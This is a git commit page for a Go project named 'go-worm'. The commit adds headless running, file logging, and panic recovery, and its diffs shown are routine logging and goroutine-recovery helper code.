refactor(core): add headless run and auto-restart

- Run without console by default
- Log to file once console hidden
- Recover panics in background goroutines
- Restart agent after unexpected errors
- Use shared instance launch helper
This commit is contained in:
2026-09-01 20:12:12 +03:00
parent 36cb847f9e
commit 2318684e93
19 changed files with 299 additions and 63 deletions
-3
View File
@@ -2,7 +2,6 @@ package helpers
import (
"encoding/json"
"log"
"net"
"net/http"
"os"
@@ -12,8 +11,6 @@ import (
"tea.chunkbyte.com/kato/go-worm/lib/models"
)
var Log = log.New(os.Stdout, "", log.Ldate|log.Ltime|log.Lmicroseconds)
func RecoverHandler(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
defer func() {
+25
View File
@@ -0,0 +1,25 @@
package helpers
import (
"os"
"path/filepath"
"tea.chunkbyte.com/kato/go-worm/lib/config"
)
// AttachLogFile appends application logs to logs/agent.log.
func AttachLogFile() error {
dir, err := config.LogsDir()
if err != nil {
return err
}
if err := os.MkdirAll(dir, 0o700); err != nil {
return err
}
f, err := os.OpenFile(filepath.Join(dir, "agent.log"), os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0o600)
if err != nil {
return err
}
SetLogOutput(f)
return nil
}
+50
View File
@@ -0,0 +1,50 @@
package helpers
import (
"fmt"
"io"
"log"
"os"
"sync"
"tea.chunkbyte.com/kato/go-worm/lib/crashlog"
)
var (
logMu sync.Mutex
logW io.Writer = os.Stdout
)
var Log = log.New(&logWriter{}, "", log.Ldate|log.Ltime|log.Lmicroseconds)
type logWriter struct{}
func (logWriter) Write(p []byte) (int, error) {
logMu.Lock()
defer logMu.Unlock()
return logW.Write(p)
}
// SetLogOutput redirects application logging (e.g. after hiding the console).
func SetLogOutput(w io.Writer) {
logMu.Lock()
defer logMu.Unlock()
logW = w
}
// Go runs fn in a goroutine with panic recovery.
func Go(component string, fn func()) {
go func() {
defer RecoverLog(component)
fn()
}()
}
// RecoverLog logs a recovered panic from a background component.
func RecoverLog(component string) {
if r := recover(); r != nil {
detail := fmt.Sprintf("%s: %v", component, r)
Log.Printf("panic %s", detail)
crashlog.RecordPanic(detail)
}
}